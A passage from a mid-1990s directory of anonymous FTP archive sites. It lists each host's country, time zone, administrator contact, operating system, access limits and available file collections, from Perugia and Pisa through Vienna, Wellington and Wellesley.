hp400.ccu.uniovi.es +Admin : nuevos@hp400.ccu.uniovi.es +Organ : Universitat de Oviedo (University of Oviedo), Oviedo, Math dept., + LabCAD +Server : +System : Unix +URL : ftp://ftp.uniovi.es/ +Comment: transfers are logged +Files : benchmarks; compress; ftp-list; GNU; graphics; hp-ux; + libLUG(/uniovi/mathdept/src); Linux; Mac; mirror (cdrom: ada, aix, + aix2, assemb, cxx, dce, encina, fortran, graph, graph2, hardware, + nav, pascal, prog, uiprog, update); misc; MS-DOS; network; neural; + others; sysadm ;TeX + +Site : ftp.unipg.it +Country: Italy +GMT : +1 +Date : 11-Mar-94 +Source : ley@rz.uni-karlruhe.de (Andreas Ley) {posting} +Alias : teseo.unipg.it +Admin : ftpmgr@unipg.it +Organ : University of Perugia, Perugia +Server : +System : Unix +URL : ftp://ftp.unipg.it/ +Comment: uploads to /upload, with appropriate .dsc (description) text file; + max. 10 users; description of site in /pub/ROADMAP +Files : doc; Framemaker; internet; Mac; MS-DOS; picture; statistics; + statlib; Unix; TeX; MS-Windows 3 + +Site : ftp.unipi.it +Country: Italy +GMT : +1 +Date : 24-Aug-94 +Source : ftp.xfree86.org +Alias : serra.unipi.it +Admin : ftp-adm@unipi.it +Organ : University of Pisa, Pisa, SERRA Network services, SerRA archive +Server : +System : Unix (AIX 3.2.4, IBM Risc6000 970/E) +URL : ftp://ftp.unipi.it/ +Comment: max. 40 users; server can tar, compress and gzip) +Files : X; XFree86 (mirror from ftp.xfree86.org) + +Site : ftp.unipv.it +Country: Italy +GMT : +1 +Date : 25-Jan-95 +Source : +Alias : gateway.unipv.it +Admin : +Organ : +Server : +System : Unix (Linux, PC) +URL : ftp://ftp.unipv.it/ +Comment: server can tar; Italian software in /pub/Local-Soft; transfers are + logged +Files : compress; crypt (krb, pgp); HP-UX; ILS; Italian; Linux (daily mirror + from sunsite.unc.edu /pub/linux and hourly mirror of + pub/linux/Incoming); MS-DOS (4DOS, ddj, gcc, net, programming); net + (dnswalk, fsp, gopher, icmpinfo, ircII, lynx, ncftp, tcpdump, tin, + wuftpd); security (cert, logdaemon, ntop, pident, portmap, srasrc, + tcpwarppers) + +Site : ftp.univ-lyon1.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : admin; ftp-france-liste +Alias : cismsun.univ-lyon1.fr +Admin : ftpmaint@cismsun.univ-lyon1.fr +Organ : CISM - Universite Claude Bernard - Lyon I & INSA Lyon, Lyon +Server : use ftpmail@grasp.insa-lyon.fr; 'help' in the body. Access the local + archive: anyone. Access other archives: please only European users. +System : Unix +URL : ftp://ftp.univ-lyon1.fr/ +Comment: Open 24 hours; Also accessible by Gopher at gopher.univ-lyon1.fr + port 70; NFS mounts grasp.insa-lyon.fr archive disk; max. 10 users; + Mirrors description in HTML as pub/mirrors/README.html +Files : CRU; doc; DOS; NIC FR; mail & news & networking utilities (Unix); + Mirrors following packages: GNU (prep.ai.mit.edu), RFCs/FYIs + (ftp.internic.net), Cert Advisories (cert.org), Firewalls + topics (ftp.greatcircle.com), Mosaic stuff (ftp.ncsa.uiuc.edu), + ELM (dsinc.dsi.com), list and mail-servers (various sources), + INN (ftp.uu.net), CNews (ftp.uu.net), nntplink (math.ohio-state.edu), + many newsreaders (ftp.uu.net), slurp (ftp.demon.co.uk), + SSBA (ftp.enst.fr), wu-ftpd (ftp.wustl.edu), + ftpmail & mirror (ftp.doc.ic.ac.uk), tcpr (ftp.alentec.com); + Usenet stats; vendors; VMS; WAIS; win3; X11 + +Site : ftp.univ-rennes1.fr +Country: France +GMT : +1 +Date : 29-Sep-94 +Source : ftp-france-liste; posting of Frank.Roussel@univ-rennes1.fr {posting} +Alias : feuresone.univ-rennes1.fr, ftp.cicb.fr, sir.univ-rennes1.fr +Admin : ftpmaint@univ-rennes1.fr, ftpmaint@cicb.fr +Organ : Universite de Rennes (University of Rennes), Rennes, Centre de + Ressources en Informatique (CRI ex. CICB) +Server : www.univ-rennes1.fr; gopher.univ-rennes1.fr +System : Unix +URL : ftp://ftp.univ-rennes1.fr/ +Comment: directories: /pub/Images/ASTRO +Files : Astro; CICB; CRU; docs; Gutenberg; images; listes-de-diffusion + (diffusionlists?); Mac; PC; research; security; Space related images + and animations; TeX; Unix; X11R5 + +Site : ftp.univie.ac.at +Country: Austria +GMT : +1 +Date : 23-Aug-94 +Source : ley@rz.uni-karlruhe.de (Andreas Ley) {posting} +Alias : swdsrv.univie.ac.at +Admin : manager@ftp.univie.ac.at +Organ : Universitaet Wien (University of Vienna), Vienna, EDV +Server : +System : Unix (AIX 3.2.5, IBM RS/6000-340) +URL : ftp://ftp.univie.ac.at/ +Comment: max. 50 users; maintainers per directory: e.g. maintainer of the + HP/UX directory: hpux-adm@ftp.univie.ac.at; swd.univie.ac.at is + for authorized access only, not for anonymous use +Files : Austria; docs; GNU; Mac; netinfo (aconet, docs, EARN, Europanet, + FYI, IEN, IETF, infos, internet-drafts, ISO, networking, RFCs, + zone-info); Novell; OS/2 (hobbes, servicepack-gr); packages + (compression, GNU, grass, khoros, lapack, mathematica, network, + oberon, octave, TeX, X11); PC; security; systems (HP/UX, Linux, Mac, + MS-DOS, Novell, OS/2, Solaris, Unix, Windows3); TeX; UniVie + +Site : ftp.unm.edu +Country: USA +GMT : -7 +Date : 26-Aug-94 +Source : hamjavar@unm.edu (Farid Hamjavar) {posting}; old ftp-list +Alias : not listed on request +Admin : +Organ : University of New Mexico, Albuquerque, New Mexico +Server : +System : Unix (Ultrix 4.3, DECStation 5000/120) +URL : ftp://ftp.unm.edu/ +Comment: successor of ariel.unm.edu, unma.unm.edu (now obsolete) +Files : BSDI-386; docs; icb; internet; library; Mac; NAFTA; PC; + University networking ethics documents; Unix; Usenet + +Site : ftp.unomaha.edu +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : phoenix@cwis.unomaha.edu (Shannon Chris Saltzman) +Alias : cwis.unomaha.edu +Admin : public@odin.unomaha.edu +Organ : University of Nebraska - Omaha, Omaha, Nebraska +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.unomaha.edu/ +Comment: CWIS has shut down portions of this site due to extensive misuse +Files : FAQs; icon; mkmf; netinfo; NutShell; PLM2C; remind23; SC; + tech-reports; txl + +Site : ftp.unr.edu +Country: USA +GMT : -6 +Date : 24-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : solstice.unr.edu [?] +Admin : ftp@ftp.unr.edu +Organ : University of Nevada - Reno, Reno, Nevada +Server : +System : Unix +URL : ftp://ftp.unr.edu/ +Comment: index in /pub/Index; publicly available data and text provided by + users in /userdata +Files : bbs; cbmr; edit; images; Mac; MS-Windows; PC; RFCs; Unix; UNR; VMS; + X + +Site : ftp.unt.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : mercury.unt.edu +Admin : ftp@unt.edu +Organ : University of Northern Texas, , Texas +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.unt.edu/ +Comment: Open 24 hours; directories: /library, /pub +Files : Internet libraries list; CUTCP scripts; Internet-based LAN; MaasInfo + files + +Site : ftp.uoknor.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : jed@uoknor.edu (James Deaton); Perry.Rovers@kub.nl +Alias : romulus.ucs.uoknor.edu +Admin : ftp@uoknor.edu +Organ : University of Oklahoma, Norman, Oklahoma +Server : +System : Unix (SunOS 4.1, Sun SPARCclassic) +URL : ftp://ftp.uoknor.edu/ +Comment: chess.uoknor.edu and gallifrey.ucs.uoknor.edu are obsolete, try this + one instead, remus.ucs.uoknor.edu still accepts anonymous ftp but + has no files; max. 80 users; transfers are logged; (de)compress and + g(un)zip on the fly; primarily mirrors other sites +Files : BBS; folk_tab; FreeBSD; games; hobbies (Chess); host; mirrors: GNU + (prep.ai.mit.edu), Linux (sunsite.unc.edu), Mac + (sumex-aim.stanford.edu), networking (ftp.uu.net), SimTel Software + Repository, X (ftp.x.org); netinfo; OKgov; OU pictures; RFCs + +Site : ftp.uoregon.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : sap.uoregon.edu, pith.uoregon.edu +Admin : nethelp@ns.uoregon.edu +Organ : University of Oregon, , Oregon, Network Services +Server : +System : +URL : ftp://ftp.uoregon.edu/ +Comment: +Files : config; domain; faculty; hosts; Mac; mgtstn; netinfo; ntp; nwnet; + PC; POP3 client for Solaris 2.x (popper); resolver; RFCs; + sendmail; Solaris2.x; Sun4; Sun-dist; UOnet-info + +Site : ftp.up.ac.za +Country: South Africa +GMT : 0 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : inet.up.ac.za +Admin : ftpadmin@up.ac.za +Organ : University of Pretoria, Pretoria +Server : +System : Unix +URL : ftp://ftp.up.ac.za/ +Comment: currently not much, watch out though; max. 10 users +Files : + +Site : ftp.update.uu.se +Country: Sweden +GMT : +1 +Date : 26-Aug-94 +Source : shoppa@altair.krl.caltech.edu (Tim Shoppa) {posting} +Alias : krille.update.uu.se +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.update.uu.se/ +Comment: +Files : decmate; IBM PC; Mac; PDP8; PDP11; pictures; professional; rainbow + +Site : ftp.upenn.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : nisc.upenn.edu +Admin : +Organ : University of Pennsylvania, , Pennsylvania +Server : +System : Unix +URL : ftp://ftp.upenn.edu/ +Comment: +Files : bootpd; BSD BIND; CRC-dist; dataadmin; DCCS; dolphin; ELM; email; + gopher; hosttables; Mac; Math; PC; PennInfo; Popper; Resnet; RFCs; + sendmail; talkradio; Tin; Web + +Site : ftp.upol.cz +Country: Czech Republic +GMT : +1 +Date : 10-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : risc.upol.cz +Admin : +Organ : Palacky University +Server : +System : +URL : ftp://ftp.upol.cz/ +Comment: +Files : docs; software; uptex + +Site : ftp.upv.es +Country: Spain +GMT : +1 +Date : 22-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : mirza.ccc.upv.es +Admin : jpons@etsit.upv.es (Julio Pons) +Organ : Universidad Polytecnica de Valencia, Valencia +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.upv.es/ +Comment: +Files : docs (llistes.correu, sobre.internet); math (dgicyt, geppcom); + MS-DOS (SimTel Software Repository mirror apparently); MS-Windows + (mirror of the ftp.cica.indiana.edu winsock section, sound files + (Dune, Holy Grail etc.); Unix (admin: dns, gopher, mail, news, + soft-HP, Sun4c-patches; GNU) + +Site : ftp.urc.tue.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : nms.urc.tue.nl +Admin : rcjoep@urc.tue.nl +Organ : Technische Universiteit Eindhoven (Eindhoven University of + Technology), Eindhoven, CC +Server : +System : Unix +URL : ftp://ftp.urc.tue.nl/ +Comment: transfers are logged +Files : conteduc; MIDI; neural; RFCs; SGI; TeX; Unixtools + +Site : ftp.urec.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : ley@rz.uni-karlruhe.de (Andreas Ley) {posting} +Alias : tethys.urec.fr +Admin : ftpmaster@urec.fr +Organ : UREC +Server : +System : Unix +URL : ftp://ftp.urec.fr/ +Comment: dedicated to computer science, security and RENATER; disclaimer +Files : AIDE; ftp_france_liste; geret; opax; renater; reseaux (research); + security; urec + +Site : ftp.urz.uni-heidelberg.de +Country: Germany +GMT : +1 +Date : 23-Aug-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sun0.urz.uni-heidelberg.de, ftp.uni-heidelberg.de +Admin : ftp-admin@ftp.urz.uni-heidelberg.de +Organ : Universitaet Heidelberg (University of Heidelberg), Heidelberg, + CC +Server : +System : Unix +URL : ftp://ftp.urz.uni-heidelberg.de/ +Comment: server is capable of (un)compressing files on the fly +Files : AIX RS/6000; Amiga; BSD-sources; div-sources; fonts; games + (mirrored on ftp.fht-mannheim.de); games solutions; GNU; gopher; + graphics; Heidelberg info; Linux; MS-DOS (archivers, astronomy, comm, + demos, educ, educgames, graphics, libs, music, Novell, physics, + SCSI, sounds, utilities, virus, windows3, X11); NCSA; net; OS/2; + SAS; Simtel Software Repository (mirror of oak.oakland.edu); + Sun-dist; Unix; X11; xed + +Site : ftp.usask.ca +Country: Canada +GMT : -6 +Date : 15-Dec-94 +Source : scottp@herald.usask.ca (Peter Scott) {posting}; Perry.Rovers@kub.nl +Alias : jeeves.usask.ca +Admin : +Organ : University of Saskatchewan, , Saskatchewan +Server : +System : Unix +URL : ftp://ftp.usask.ca/ +Comment: directory: /pub/hytelnet; max. 10 users +Files : Amiga; crash; cwi; dcs-docs; dec-fixes; email; Gutenberg project; + Hytelnet (Hypertext list of Telnet sites); incometax; Library of + Congress rule interpretations; Literature works of many kinds; Mac; MS-DOS; + MS-Windows; MS-Windows NT; netinfo; ntp; selected Sun-fixes; Sun-gcc + Solaris binaries; Unix; U of S logo; vendor directories; weather + +Site : ftp.usl.com +Country: USA +GMT : -8 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : legba.usl.com +Admin : +Organ : Unix System Labs +Server : +System : Unix (System V Release 4.2) [What else? ;-)] +URL : ftp://ftp.usl.com/ +Comment: +Files : recdb; tuxedo; WWW + +Site : ftp.usma.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : PC NFS FAQ +Alias : buckshot.usma.edu +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.usma.edu/ +Comment: directory: /pub/msdos +Files : MS-DOS files (WS_PING, WS_FTP); TCP/IP; Unix; X.400 + +Site : ftp.usp.br +Country: Brazil +GMT : -3 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : bee08.cce.usp.br +Admin : consulta@fox.cce.usp.br +Organ : Universidade de Sao Paulo (University of Sao Paulo), Sao Paulo, + Centro de Computacao Eletronica (CCE) +Server : +System : Unix +URL : ftp://ftp.usp.br/ +Comment: +Files : Cisco; GNU; PC (antivirus, MS-DOS, Windows3); Unix + +Site : ftp.usr.com +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl; wolfgang@whnet.com (Wolfgang Henke) +Alias : usr.whnet.com +Admin : postmaster@usr.com +Organ : US Robotics Inc., Skokie, Illinois +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://ftp.usr.com/ +Comment: default directory is /SYS/PCB; max. 4 connections; Read Only access; + get PCBFILES.LST or PCBFILES.ZIP for a complete list of files +Files : info on USR products; modem related files + +Site : ftp.utas.edu.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : PC NFS FAQ; old ftp-list +Alias : baudin.cc.utas.edu.au +Admin : postmaster@utas.edu.au +Organ : University of Tasmania, Hobart, Tasmania, CC +Server : +System : Unix +URL : ftp://ftp.utas.edu.au/ +Comment: MaasInfo files in doc/MAASINFO; Trumpet to ftp.psychol.utas.edu.au; + files from tasman.cc.utas.edu.au +Files : dept. info; Maasinfo files; Mac; net; networkshop; patch; PC; + security; sendmail; X11 + +Site : ftp.utdallas.edu +Country: USA +GMT : -6 +Date : 22-May-94 +Source : +Alias : squirrel.utdallas.edu +Admin : +Organ : University of Texas - Dallas, Dallas, Texas, + Academic Computing Center +Server : +System : Unix +URL : ftp://ftp.utdallas.edu/ +Comment: +Files : bitnet; comm; cs; dtd2html; ee; face gen; GIS; gopher; hd; + ietf-list-wg; mgmt; scad + +Site : ftp.utexas.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : mojo.utexas.edu +Admin : +Organ : University of Texas - Austin, Austin, Texas +Server : archive-server@ftp.utexas.edu +System : Unix +URL : ftp://ftp.utexas.edu/ +Comment: Open 24 hours; max. 60 users; transfers are logged +Files : collection of networking info and software + +Site : ftp.uts.edu.au +Country: Australia +GMT : +10 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : sequoia.itd.uts.edu.au +Admin : +Organ : University of Technology, Sydney +Server : +System : Unix +URL : ftp://ftp.uts.edu.au/ +Comment: saturated 128kbps link; ftpers from outside UTS look elsewhere; + OS/2 has been scrapped (again), it's too big, complaints to the + usual place; autodecompress +Files : Boot; gnu; ITAC; Mac; MAKEDON (Macedonia info); mirrors: 386BSD, + Dos, Eudora, Gnu, Gopher, Linux, NCSA_Telnet, nn6.4, OS, PC Eudora, + Popmail, Pratchett, Security, Security docs, sun-fixes, X; + MS-DOS; UTSnet; Windows + +Site : ftp.uu.net +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : uunet.uu.net [?] +Admin : +Organ : UUNET Technologies, Falls Church, Virginia +Server : +System : Unix +URL : ftp://ftp.uu.net/ +Comment: directories: /archiving, /doc, /graphics, /pub, /published, + /systems, /vendor; transfers are logged; Open 24 hours +Files : AI; Athena; BSD-sources; C-utils; cake; calc; CLIM; comp.sources: + 3b1, amiga, games, misc, reviewed, unix, x; comp.std.unix; database; + economics; editors; faces (Usenix); franzinc; FTPNUZ + (/support/pubdom); games; GNU; government; graphics; Internet docs; + ioccc; languages; library; linguistics; Mach; mail; math; + mirror of coombs.anu.edu.au; mtools; music; news; networking galore; + nutshell; opinions; packages [?]; physics; printers; prob-tracking; + prog-libs; published; SCO; security; shells; Simtel Software + Repository mirror (/systems/ibmpc/msdos/simtel20); Sun-fixes; + sysadm; Unix Today; Unix World; UUmap; UUnet info; vendor [?]; + window-sys; X + +Site : ftp.uunet.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : dseitel@crl.com (David Eitelbach) {posting} +Alias : seraph.uunet.ca, uunet.ca +Admin : +Organ : UUNET Technologies - Canada +Server : +System : Unix +URL : ftp://ftp.uunet.ca/ +Comment: some files mirrored from ftp.cs.toronto.edu and ftp.uu.net +Files : 4.3BSD Net2; ATI; ca-domain templates; ftp-sites [?]; network info, + statistics; OSs; uucpmap + +Site : ftp.uv.es +Country: Spain +GMT : +1 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : power.vi.uv.es +Admin : ftpadmin@power.vi.uv.es +Organ : Universitat de Valencia (University of Valencia), Valencia +Server : +System : Unix +URL : ftp://ftp.uv.es/ +Comment: +Files : biology; Linux; Mac; medicin; meteo; MS-DOS; MVS; satellites; Unix; + VM; workshops + +Site : ftp.uva.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : barlaeus.uva.nl +Admin : +Organ : Universiteit van Amsterdam (University of Amsterdam), Amsterdam +Server : +System : Unix +URL : ftp://ftp.uva.nl/ +Comment: +Files : docs; gopher; ibw; mirror of cumulus.met.edinburgh.ac.uk; security + +Site : ftp.uvm.edu +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : moose.uvm.edu [?] +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.uvm.edu/ +Comment: +Files : AIX (utils); baner; Mac (netutils); Novell (Mercury); Oracle; + PC (netutils) + +Site : ftp.uwp.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : MODERxx.ZIP; datta@cs.uwp.edu (Dave Datta); old ftp-list +Alias : cs.uwp.edu +Admin : ftp@ftp.uwp.edu, ftp@cs.uwp.edu +Organ : University of Wisconsin - Parkside, Kenosha, Wisconsin +Server : no e-mail server +System : Unix +URL : ftp://ftp.uwp.edu/ +Comment: Open 24 hours; limits users (50 off-campus users during business + hours, more users all other times); gopher gopher.uwp.edu for + retrieving files through Gopher; server can (de)compress on the fly; + this site is looking for mirrors of the music archives (1.2Gb); + do not ask for accounts, there's no additional access to this site +Files : Music related Files: lyrics (also on ftp.sunet.se /pub/music/lyrics, + ftp.informatik.tu-muenchen.de /pub/rec/music/vocal/lyrics, + http://www.informatik.tu-muenchen.de /isar/archive/music), pictures + (ftp.sunet.se /pub/music/pictures), discographies, many music + mailing lists and press kits; Official ID software games + distribution; several site mirrors; ftp-list; Tin; programs for SB, + ProAudio etc.; mirror of ftp.uml.edu (/pub/msdos/games/ulowell): + MS-DOS games and ftp.luth.se (/pub/msdos/demos), ftp.eng.ufl.edu + (/pub/msdos/demos), ftp.edu.tw /PC/uwp/demos: MS-DOS demos, + mirror of ftp.edu.tw /PC/uwp/romulus (hints and cheats for MS-DOS) + +Site : ftp.vast.unsw.edu.au +Country: Australia +GMT : +10 +Date : 10-Sep-94 +Source : fokkink@fenk.wau.nl (Remco Fokkink) {posting} +Alias : mucket.vast.unsw.edu.au +Admin : archive@vast.unsw.edu.au +Organ : University of New South Wales, , New South Wales +Server : +System : Unix +URL : ftp://ftp.vast.unsw.edu.au/ +Comment: please limit the use of this machine between 0800-1800; /tmp is + NOT for uploads +Files : CCS; cmos3; docs; gernot; GNU; guitar-lessons; Interviews; modal; + Mungi; network; papers; PC; photo-process; TeX; X11 + +Site : ftp.veda.is +Country: Iceland +GMT : -1 +Date : 29-Nov-94 +Source : admin; Perry.Rovers@kub.nl +Alias : veda.is, spiral.veda.is +Admin : root@veda.is, adam@veda.is (Adam David) +Organ : Veda +Server : +System : Unix +URL : ftp://ftp.veda.is/ +Comment: +Files : bible; brain; crypt; FreeBSD; MUD; veg; Z88 + +Site : ftp.vifp.monash.edu.au +Country: Australia +GMT : +10 +Date : 22-May-94 +Source : +Alias : brain.vifp.monash.edu.au +Admin : ftp@ftp.vifp.monash.edu.au +Organ : Monash University - Clayton Campus, Melbourne +Server : +System : Unix +URL : ftp://ftp.vifp.monash.edu.au/ +Comment: max. 10 users; incoming directory is write-only, send mail to the + admin so it can be moved; official mirror of the TULP software; +Files : admin; clinical; coroner; forensic; hajdu; informatics; Linux; + molbio; patches; ppc; sids; tox; TULP (/pub/src/mail/tulp); OCR; + VIFP; wicen + +Site : ftp.village.org +Country: USA +GMT : -7 +Date : 30-Aug-94 +Source : shoppa@altair.krl.caltech.edu (Tim Shoppa) {posting} +Alias : information-retrieval.village.org +Admin : ftpadmin@vilage.org +Organ : The Village Network +Server : +System : Unix +URL : ftp://ftp.village.org/ +Comment: +Files : PDP-11 FAQ + +Site : ftp.virginia.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : PC NFS FAQ; VAX Software List +Alias : uvaarpa.virginia.edu +Admin : wfp5p@virginia.edu +Organ : University of Virginia, , Virginia +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.virginia.edu/ +Comment: transfers are logged; (un)compress on the fly; max. 10 users +Files : chinmaya; cps; fasta; IEN; Internet tour; IRD; Mac; MRI-MRS; netdocs + (also very old ftp-sitelist); neuro-icu; NeXT; PC; RFCs; RS6000; + Sun; swlogit; UVA PC; VA.PEN; VAX4.3net; VMS + +Site : ftp.vmars.tuwien.ac.at +Country: Austria +GMT : +1 +Date : 30-Aug-94 +Source : PC NFS FAQ +Alias : gipsy.vmars.tuwien.ac.at +Admin : ftp@vmars.tuwien.ac.at, ftp-bugs@vmars.tuwien.ac.at +Organ : Technische Universitaet Wien (Vienna University of Technology), + Vienna, dept. for Real-Time Systems +Server : +System : Unix +URL : ftp://ftp.vmars.tuwien.ac.at/ +Comment: directory: /pub/misc; please use off hours (18:00-07:00 MET); + server can (de)compress, g(un)zip and tar; max. 10 users; transfers + are logged +Files : Apple (Apple2, Mac); docs; GNU; Linux (nys and shadow); mars-papers; + Minix; MS-DOS (VGA doc); music (jbcmail); news (NN); papers; pdcs; + spacegifs; thesis; ttp; Unix + +Site : ftp.vnet.net +Country: USA +GMT : -5 +Date : 26-Aug-94 +Source : portmann@di.epfl.ch (Thomas Portmann) {posting} +Alias : char.vnet.net +Admin : ftp@vnet.net +Organ : V-Net Internet Access Inc. Online Communications +Server : +System : Unix +URL : ftp://ftp.vnet.net/ +Comment: access is a privilege [not 'privaledge'... minor nitpicking ;-)], + so be considerate; the picture archives can go away if having them + signifcantly impacts our normal users; several user pub directories +Files : Amiga; cerious; currin; dhankins; football; FAQs; global_access; + hardcode; ilss; jbd; Mac; MS-DOS; mwarner; rwgreene; sjacobs; text; + theos-1; VNet info; VNet manuals + +Site : ftp.vocaltec.com +Country: USA +GMT : -5 +Date : 19-Feb-95 +Source : rop@xs4all.nl (Rop Gonggrijp) {posting} +Alias : +Admin : +Organ : Vocaltec +Server : +System : Unix +URL : ftp://ftp.vocaltec.com/ +Comment: +Files : IPhone (Internet Phone utility) + +Site : ftp.vslib.cz +Country: Czech Republic +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com +Alias : bubo.vslib.cz, gopher.vslib.cz +Admin : ftpadm@vslib.cz +Organ : Liberec University of Technology, Liberec +Server : +System : Unix +URL : ftp://ftp.vslib.cz/ +Comment: Gopher: gopher.vslib.cz; transfers are logged +Files : CESNet; graphics; info; Liane; Liberec; Mac; McAfee (anti-virus); + mirrors; MS-DOS; MS-Windows; network; news.answers; Pegasus; Sun; + TeX; texts; Unix; weather + +Site : ftp.vt.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : vtaix.cc.vt.edu +Admin : 4help@vtvm1.cc.vt.edu +Organ : Virginia Technological Institute (VATECH), Blacksburgh, Virginia, + CC +Server : +System : Unix +URL : ftp://ftp.vt.edu/ +Comment: several directories maintained by individuals under /pub +Files : biotechnology; CC; chem; cpap; K12; ohgesm; reuse; ties + +Site : ftp.vuw.ac.nz +Country: New Zealand +GMT : +12 +Date : 17-Jul-94 +Source : old ftp-list +Alias : kauri.vuw.ac.nz, ftphost.vuw.ac.nz +Admin : ftp-bugs@vuw.ac.nz +Organ : Victoria University of Wellington, Wellington +Server : +System : Unix +URL : ftp://ftp.vuw.ac.nz/ +Comment: Micro-computer software: if you're from out of NZ please *DO NOT* + use this archive. try local archives for faster and easier use. + Astrophysics: global access and contributions welcome +Files : Amiga; antivirus programs and utilities (Mac, MS-DOS); Astrophysics + archive; etext; Mac; MS-DOS; Ultrix; VUW + +Site : ftp.wais.com +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : PC NFS FAQ +Alias : wais.com [?] +Admin : ftpmaster@wais.com +Organ : WAIS +Server : gopher +System : Unix +URL : ftp://ftp.wais.com/ +Comment: +Files : freeware; games; mail-archives; netstats; protocol; scholastic; WAIS + related files, clients, servers etc. + +Site : ftp.wang.com +Country: USA +GMT : -5 +Date : 04-Jan-95 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : das.wang.com +Admin : net-services@wang.com +Organ : Wang Labs +Server : +System : Unix +URL : ftp://ftp.wang.com/ +Comment: several user public directories +Files : fitz (aix-bind, expect, used-music); lar3ry (Creative (poem, song, + story, top10), dnd (wirenews, archives), FAQs (rec.arts.disney, + wdw), Lyrics (aladdin, aristocats, batb, cinderella, dumbo, dw, + junglebook, oliver, peterpan, rescuers, robinhood, sb, snowwhite, + tfath, tgmd, tlm, tlmsfts, tlmtv, tsits, wtp); SCO (bind, cpio, + emacs, gcc, gzip, ispell) + +Site : ftp.wariat.org +Country: USA +GMT : +Date : 19-Apr-94 +Source : Perry.Rovers@kub.nl +Alias : wariat.org +Admin : zbig@wariat.org (Zbigniew J. Tyrlik) +Organ : WARIAT, APK +Server : +System : Unix +URL : ftp://ftp.wariat.org/ +Comment: contact the admin if you need space here; read the proper README + for each directory, e.g. use joe@config.com for the cdrom section +Files : cdroms; sports; uniboard + +Site : ftp.warwick.ac.uk +Country: UK +GMT : 0 +Date : 09-Feb-94 +Source : Computer Underground Digest (CuD); Perry.Rovers@kub.nl +Alias : lupin.warwick.ac.uk +Admin : +Organ : Warwick University, Coventry +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.warwick.ac.uk/ +Comment: +Files : C64; Computer Underground Digest (CuD) archives; fiction; games; + GNU; HTML; MS-DOS; MUD related; Novell; SNMP; Solaris2; Statlib; + TeX; usenet; X11 + +Site : ftp.wau.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : asturias.wau.nl +Admin : +Organ : Landbouw Universiteit Wageningen (Wageningen Agricultural University + WAU), Wageningen +Server : +System : Unix (Linux) +URL : ftp://ftp.wau.nl/ +Comment: mirrors: csus.edu and ftp.banyan.com (Banyan) +Files : Banyan; Linux; Mac; Mosaic; OC; PC; MS-Windows 3 + +Site : ftp.wcmc.org.uk +Country: UK +GMT : 0 +Date : 04-Jan-95 +Source : archie +Alias : wcmc.org.uk +Admin : postmaster@wcmc.org.uk (problems), info@wcmc.org.uk (info on WCMC) +Organ : World Conservation Monitoring Centre, Cambridge +Server : +System : Unix +URL : ftp://ftp.wcmc.org.uk/ +Comment: transfers are logged; max. 20 users; see ls-lR or list-of-files for + index +Files : Banyan (smtp gateway text); docs (Zen, zoo directory); MS-DOS (some + utils); Unix (perl, XV); WCMC: catalogues, gis, habitats, iucn, + parks, personnel, protected areas, services, species, traffic + international + +Site : ftp.wdc.com +Country: USA +GMT : -8 +Date : 10-Dec-94 +Source : smith_r@a1.wdc.com (RJ Smith) {posting} +Alias : gatekeeper.wdc.com +Admin : +Organ : Western Digital Corp., Irvine, California +Server : http://www.wdc.com/ +System : Unix +URL : ftp://ftp.wdc.com/ +Comment: max. 64 users +Files : docs (on WDC products); drivers (controllers, HD utils, Paradise) + +Site : ftp.wellesley.edu +Country: USA +GMT : -5 +Date : 19-Feb-95 +Source : admin +Alias : chris.wellesley.edu +Admin : postmaster@wellesley.edu +Organ : Wellesley College, Wellesley, Massachusetts, Information Systems + and Telecommunications dept. (IST) +Server : http://www.wellesley.edu/ +System : Unix (Ultrix 4.4, DECstation 5000/120) +URL : ftp://ftp.wellesley.edu/ +Comment: files are available on a *very* selective basis +Files : IBM PC (mosaic, mpack, twsk); Linux (docs, Slackware); Mac + (netscape); PGP-info; Unix (games, mosaic, X11R6, Xgames) + +Site : ftp.wfu.edu +Country: USA +GMT : -5 +Date : 07-Aug-94 +Source : 